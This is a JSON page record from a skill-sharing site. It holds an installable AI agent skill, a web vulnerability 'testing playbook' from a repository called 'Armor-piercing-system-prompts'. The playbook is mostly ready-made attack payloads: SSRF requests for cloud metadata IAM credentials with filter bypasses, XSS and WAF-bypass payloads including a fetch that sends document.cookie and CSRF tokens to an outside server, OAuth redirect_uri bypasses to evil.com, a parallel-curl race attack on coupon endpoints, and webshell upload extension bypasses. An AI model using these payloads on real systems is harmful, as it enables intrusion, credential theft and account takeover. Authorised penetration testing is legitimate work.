[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7EV7NFYTAXPBHHZT3V49R63":3,"skill-same:01M7EV7NFYTAXPBHHZT3V49R63":44},{"skillNo":4,"name":5,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":18,"linkOnly":19,"markdownContent":20,"markdownBody":20,"frontMatter":21,"refName":22,"commitSha":23,"skillDirectory":24,"forksCount":25,"repositoryHtmlUrl":26,"repositoryHomepageUrl":6,"ownerHtmlUrl":27,"ownerBlogUrl":6,"ownerDescription":28,"updatedAt":29,"install":30,"resources":43},"01M7EV7NFYTAXPBHHZT3V49R63","vuln-classes",null,"lza6\u002FArmor-piercing-system-prompts","lza6","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F128880206?v=4","01M7EB3K7WPX5T28EJ2NVHE6EG","Chinese-tingfeng","01M7EB3K97E1KQ16QWKJMFNGX8",11,"MIT","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fvuln-classes\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"# Vulnerability Classes — Testing Playbook\n\n## IDOR (Insecure Direct Object Reference)\n\n**Setup**: Two accounts (attacker + victim). Log in as both.\n\n**Test pattern**:\n1. Perform action as victim → note all IDs in requests\n2. Replay same request with attacker's token + victim's IDs\n3. If data returned → IDOR confirmed\n\n**Expand**:\n- Test GET, PUT, DELETE on same endpoint\n- Test ALL sibling endpoints (export, share, archive, download, history)\n- Test \u002Fapi\u002Fv1\u002F if \u002Fapi\u002Fv2\u002F is protected (version downgrade)\n- Test without auth header entirely\n- Test numeric ID +1, -1, 0\n- Test GraphQL `node(id: \"base64\")` queries\n\n**Kill signals**: All endpoints return 403 with wrong ID, UUIDs without enumeration path.\n\n## Auth Bypass\n\n**Test pattern**:\n1. Identify protected endpoint\n2. Remove Authorization header → still works?\n3. Try method override: `X-HTTP-Method-Override: GET` on POST\n4. Try path traversal: `\u002Fapi\u002Fadmin\u002F.\u002Fusers`, `\u002Fapi\u002Fv2\u002F..\u002Fv1\u002Fadmin\u002F`\n5. Try case variation: `\u002FApi\u002FAdmin\u002FUsers`\n6. Try HTTP method change: if GET is blocked, try POST\u002FPUT\u002FOPTIONS\n\n**Sibling check**: If one endpoint in a controller has auth bypass, test ALL siblings.\n\n## SSRF (Server-Side Request Forgery)\n\n**Find injection points**: URL parameters, webhook URLs, file import, image fetch, PDF generation.\n\n**Test sequence**:\n1. OOB first: `https:\u002F\u002FYOUR_OOB_SERVER` → confirm DNS callback\n2. If callback → try internal: `http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F`\n3. If cloud metadata → get IAM creds: `...\u002Fiam\u002Fsecurity-credentials\u002FROLE_NAME`\n4. Try internal services: `http:\u002F\u002Flocalhost:8080`, `http:\u002F\u002F10.0.0.1`\n\n**Bypass filters**:\n```\nhttp:\u002F\u002F127.0.0.1 → http:\u002F\u002F0x7f000001 → http:\u002F\u002F2130706433 → http:\u002F\u002F017700000001\nhttp:\u002F\u002F169.254.169.254 → http:\u002F\u002F[::ffff:169.254.169.254]\nDNS rebinding: register domain that resolves to 169.254.169.254\nOpen redirect chain: https:\u002F\u002Ftarget.com\u002Fredirect?to=http:\u002F\u002F169.254.169.254\n```\n\n## XSS (Cross-Site Scripting)\n\n**Context matters more than payload**:\n- HTML body: `\u003Cimg src=x onerror=alert(1)>`\n- Attribute: `\" onfocus=\"alert(1)\" autofocus=\"`\n- JS string: `';alert(1)\u002F\u002F`\n- Template: `{{constructor.constructor('alert(1)')()}}`\n\n**Impact proof** (alert is NOT enough):\n```javascript\nfetch('https:\u002F\u002Fserver\u002F?c='+document.cookie)  \u002F\u002F cookie theft\nnew Image().src='https:\u002F\u002Fserver\u002F?t='+document.querySelector('[name=csrf]').value  \u002F\u002F CSRF token\n```\n\n**WAF bypass quick list**:\n```\n\u003Csvg\u002Fonload=alert(1)>\n\u003Cdetails open ontoggle=alert(1)>\n\u003Cimg src=x onerror=eval(atob('YWxlcnQoMSk='))>\n\u003Cmath>\u003Cmtext>\u003Ctable>\u003Cmglyph>\u003Cstyle>\u003C!--\u003C\u002Fstyle>\u003Cimg src onerror=alert(1)>\n```\n\n## Race Conditions\n\n**High-value targets**: Coupon application, balance transfer, vote counting, rate limits, account creation bonuses.\n\n**Test**: Send 20+ identical requests in parallel:\n```bash\nseq 1 20 | xargs -P 20 -I {} curl -s \"https:\u002F\u002Ftarget\u002Fapi\u002Fapply-coupon\" \\\n  -H \"Authorization: Bearer TOKEN\" -d '{\"code\":\"DISCOUNT50\"}'\n```\nIf coupon applied multiple times → race confirmed.\n\n## GraphQL\n\n**Recon**: Check `\u002Fgraphql`, `\u002Fapi\u002Fgraphql`, `\u002Fgraphql\u002Fv1`.\n\n**Introspection** (informational alone — need auth bypass to report):\n```json\n{\"query\":\"{ __schema { types { name fields { name } } } }\"}\n```\n\n**Real bugs**: Auth bypass on mutations (test without auth), IDOR via `node(id)`, batch queries bypassing rate limits, nested query DoS.\n\n## OAuth \u002F OIDC\n\n**Check**: redirect_uri manipulation, PKCE enforcement, state parameter, code reuse.\n\n**redirect_uri bypass attempts**:\n```\nredirect_uri=https:\u002F\u002Fevil.com\nredirect_uri=https:\u002F\u002Ftarget.com.evil.com\nredirect_uri=https:\u002F\u002Ftarget.com\u002Fcallback\u002F..\u002Fredirect?to=evil.com\nredirect_uri=https:\u002F\u002Ftarget.com\u002Fcallback%23@evil.com\n```\n\n## Business Logic\n\n**Can't automate — requires understanding the application**:\n- Price manipulation (negative quantities, decimal abuse)\n- Workflow bypass (skip steps in multi-step process)\n- Privilege confusion (user A's action affects user B)\n- Feature abuse (use intended feature in unintended way)\n- Quota bypass (circumvent rate\u002Fusage limits)\n\n## File Upload\n\n**Extension bypass**:\n```\nshell.php → shell.php.jpg → shell.pHp → shell.php%00.jpg → shell.php;.jpg\n```\n\n**Content-type bypass**: Set image\u002Fpng but upload PHP\u002FHTML content.\n\n**Magic bytes**: Prepend `GIF89a` to PHP file.\n\n**SVG XSS**: `\u003Csvg onload=\"alert(1)\">` in SVG upload.\n",{},"main","d69096e239f2a89aabc2cd078c47664a9d3b1e11","04-安全渗透\u002Fvuln-classes",3,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts","https:\u002F\u002Fgithub.com\u002Flza6","个人vx：Tf00798\r\n个人✈：@TFGY999","2026-10-08 14:29:22",{"source":7,"skillName":5,"commands":31,"prompt":41,"zipAvailable":42},[32,35,38],{"tool":33,"command":34},"npx","npx skills add lza6\u002FArmor-piercing-system-prompts --skill vuln-classes",{"tool":36,"command":37},"bunx","bunx skills add lza6\u002FArmor-piercing-system-prompts --skill vuln-classes",{"tool":39,"command":40},"pnpm","pnpm dlx skills add lza6\u002FArmor-piercing-system-prompts --skill vuln-classes","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fvuln-classes\u002FSKILL.md",true,[],[45,53,58,65,72,79],{"skillNo":46,"name":47,"nameZh":6,"description":48,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":49,"categories":50,"keywords":51,"publishedAt":52},"01M7FFG485KY83TD6HSC4YPCMC","obsidian-clipper-template-creator","Guide for creating templates for the Obsidian Web Clipper. Use when you want to create a new clipping template, understand available variables, or format clipped content.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator\u002FSKILL.md",[],[],"2026-11-16 10:05:34",{"skillNo":54,"name":47,"nameZh":6,"description":48,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":52},"01M7FFG0T6AZ0STEJPSB3CX84K","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator-antigravity-awesome-skills-main\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":52},"01M7FFFY0QEM14SKWPDYGMXM2P","python-api","Programmatic Object-Detection-Metrics API guidance for BoundingBox, BoundingBoxes, Evaluator, enums, coordinate conversion, AP\u002FmAP semantics, and source-style import diagnostics.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Fpython-api\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":52},"01M7FFFVZQZ2GJ0C0TGP7JHD20","file-evaluation","Folder-based PASCAL VOC AP\u002FmAP evaluation from ground-truth and detection text files.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Ffile-evaluation\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":52},"01M7FFFSFNYSE77SJ6PE1CK2DA","object-detection-metrics","Guides legacy Object-Detection-Metrics PASCAL VOC AP\u002FmAP evaluation from detection text folders and direct Python API classes.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":52},"01M7FFFP0GCK1RVXBCPQ8APBMT","nx-workspace-patterns","Configure and optimize Nx monorepo workspaces. Use when setting up Nx, configuring project boundaries, optimizing build caching, or implementing affected commands.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fnx-workspace-patterns\u002FSKILL.md",[],[]]